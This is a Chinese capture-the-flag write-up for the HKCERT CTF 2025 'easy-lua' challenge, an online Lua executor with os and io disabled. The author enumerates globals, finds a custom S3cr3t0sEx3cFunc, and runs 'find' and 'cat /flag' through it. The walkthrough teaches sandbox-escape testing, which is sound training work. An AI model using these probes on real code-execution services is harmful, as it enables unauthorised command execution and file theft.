【CTF-WEB】在线Lua执行器漏洞

题目

题目来源:HKCERT CTF 2025(Qualifying Round) 國際組

题目名称:easy-lua

靶场网址:http://web-ee0662f019.challenge.xctf.org.cn:80/

题目描述: 在线 Lua 执行器,寻找 flag

解题步骤

1. 初始分析

这是一个在线 Lua 执行器,包含:

  • 一个代码输入框
  • 执行按钮和清除按钮
  • 输出显示区域

网页的 JavaScript 代码显示,点击执行按钮后会向 /execute 接口发送 POST 请求,携带 Lua 代码作为 JSON 数据。

2. 尝试常规命令执行

尝试使用 os.execute
lua 复制代码
os.execute("ls -la")

结果 :失败,错误信息显示 os 模块为 nil,说明 os 模块被禁用。

错误信息

json 复制代码
{"output":"","error":"\u003cstring\u003e:1: attempt to index a non-table object(nil) with key 'execute'\nstack traceback:\n\t\u003cstring\u003e:1: in main chunk\n\t[G]: ?"}
尝试使用 io.popen
lua 复制代码
for line in io.popen(\"ls -la\"):lines() do print(line) end

结果 :失败,错误信息显示 io.popen 为 nil,说明 io 模块的 popen 方法被禁用。

错误信息

json 复制代码
{"output":"","error":"\u003cstring\u003e:1: attempt to index a non-table object(nil) with key 'popen'\nstack traceback:\n\t\u003cstring\u003e:1: in main chunk\n\t[G]: ?"}
尝试使用 io.open 读取文件
lua 复制代码
local f = io.open("flag","r") if f then local c = f:read("*a") print(c) f:close() else print("File not found") end

结果 :失败,错误信息显示 io.open 为 nil,说明 io 模块的 open 方法也被禁用。

错误信息

json 复制代码
{"output":"","error":"\u003cstring>:1: attempt to index a non-table object(nil) with key 'open'\nstack traceback:\n\t\u003cstring>:1: in main chunk\n\t[G]: ?"}

3. 查看全局环境

为了了解可用的 Lua 函数,我执行了以下代码来查看全局环境中的所有变量和函数:

lua 复制代码
for k,v in pairs(_G) do print(k, type(v)) end

结果

复制代码
package	abel
_G	tabel
_VERSION	string
_GOPHER_LUA_VERSION	string
rawset	function
ntonumber	function
type	function
xpcall	function
print	function
select	function
_printregs	function
setfenv	function
require	function
getfenv	function
getmetatable	function
pcall	function
rawequal	function
tostring	function
module	function
newproxy	function
dofile	function
error	function
load	function
next	function
rawget	function
setmetatable	function
unpack	function
assert	function
collectgarbage	function
loadfile	function
loadstring	function
ipairs	function
pairs	function
table	tabel
string	tabel
math	tabel
S3cr3t0sEx3cFunc	function
getFileContent	function
getFileList	function

4. 发现自定义函数

从全局环境中,我发现了几个有趣的自定义函数:

  • S3cr3t0sEx3cFunc - 看起来像是可以执行系统命令的函数
  • getFileContent - 可以读取文件内容
  • getFileList - 可以获取文件列表

5. 使用 getFileList 查看文件

我首先使用 getFileList 函数查看当前目录下的文件:

lua 复制代码
local files = getFileList() for i,file in ipairs(files) do print("File "..i..":") for k,v in pairs(file) do print("  "..k..": "..tostring(v)) end end

结果

复制代码
File 1:
  name: .DS_Store
  isdir: false
  size: 6148
  mode: -rw-r--r--
  modtime: 2025-11-24 16:30:57 +0000 UTC
File 2:
  name: g0_main_pr0gram_421585
  isdir: false
  size: 6525112
  mode: -rwxr-xr-x
  modtime: 2025-11-24 16:30:38 +0000 UTC
File 3:
  name: index.html
  isdir: false
  size: 7257
  mode: -rw-r--r--
  modtime: 2025-12-09 07:37:41 +0000 UTC

6. 使用 S3cr3t0sEx3cFunc 执行命令

看到 S3cr3t0sEx3cFunc 这个函数名,我猜测它是一个可以执行系统命令的函数。我首先尝试使用它来查找 flag 文件:

  1. 函数名的构成分析

    • S3cr3t - 是 "Secret"(秘密)的变形,用数字 3 替代了字母 e,这是常见的隐蔽命名方式
    • 0s - 是 "os"(操作系统 Operating System)的变形,用数字 0 替代了字母 o
    • Ex3c - 是 "Exec"(执行 Execute)的变形,用数字 3 替代了字母 e
    • Func - 是 "Function"(函数)的缩写
  2. 组合含义

    整个函数名可以解读为 "Secret os Exec Function",也就是 "秘密的操作系统执行函数"。

  3. 上下文推断

    • 这是一个在线 Lua 执行器,核心功能就是执行代码
    • 之前尝试的常规命令执行方法(os.execute, io.popen 等)都被禁用
    • 系统通常会提供自定义函数来实现特定功能,尤其是在禁用了常规方法的情况下

基于以上分析,我猜测 S3cr3t0sEx3cFunc 是一个可以执行系统命令的自定义函数。我首先尝试使用它来查找 flag 文件:

lua 复制代码
local result = S3cr3t0sEx3cFunc("find / -name flag 2>/dev/null") print(result)

结果

复制代码
/flag

找到了 flag 文件位于 /flag 路径!

7. 读取 flag 文件

最后,我使用 S3cr3t0sEx3cFunc 函数读取 flag 文件的内容:

lua 复制代码
local result = S3cr3t0sEx3cFunc("cat /flag") print(result)

结果

复制代码
flag{Jv2rvIN6PmsYGFC5HhZWNdl2OWoK8SSm}

最终 flag

成功获取到 flag:

复制代码
flag{Jv2rvIN6PmsYGFC5HhZWNdl2OWoK8SSm}

解题思路总结

  1. 分析目标网站的功能和工作原理
  2. 尝试常规的 Lua 命令执行方法(os.execute, io.popen 等),发现被禁用
  3. 查看全局环境,发现自定义函数
  4. 利用自定义的 S3cr3t0sEx3cFunc 函数执行系统命令
  5. 查找并读取 flag 文件

这个靶场的漏洞在于允许执行 Lua 代码,并且提供了一个名为 S3cr3t0sEx3cFunc 的自定义函数,该函数可以执行系统命令,导致了任意命令执行漏洞。

相关推荐
蓝之白6 小时前
Vulnhub_DC-8
web安全·ctf·网络攻防·靶场渗透
蓝之白6 小时前
流量分析_SnakeBackdoor-2
web安全·ctf·流量分析
print_Hyon6 小时前
【CTF-密码学-RSA】计算私钥和公钥进行加密和解密
密码学·ctf
淮上安子骞19 小时前
sage10.8源码部署
服务器·密码学·ctf·本地部署·sage
给勒布朗上上对抗呀20 小时前
反序列化之字符串逃逸-0CTF2016-piapiapia
ctf
福来阁86号技师1 天前
2025年第二届Solar应急响应挑战赛
ctf·应急响应
给勒布朗上上对抗呀2 天前
短标签一句话实战-LitCTF2025-easy_file
ctf
Wang's Blog2 天前
Lua: 事件处理深度解析之从协程到跨平台架构实践
junit·架构·lua
码上宝藏2 天前
从解耦到拓展:Clapper 0.10.0 插件化架构设计与 Lua 脚本集成
linux·开发语言·lua·视频播放器·clapper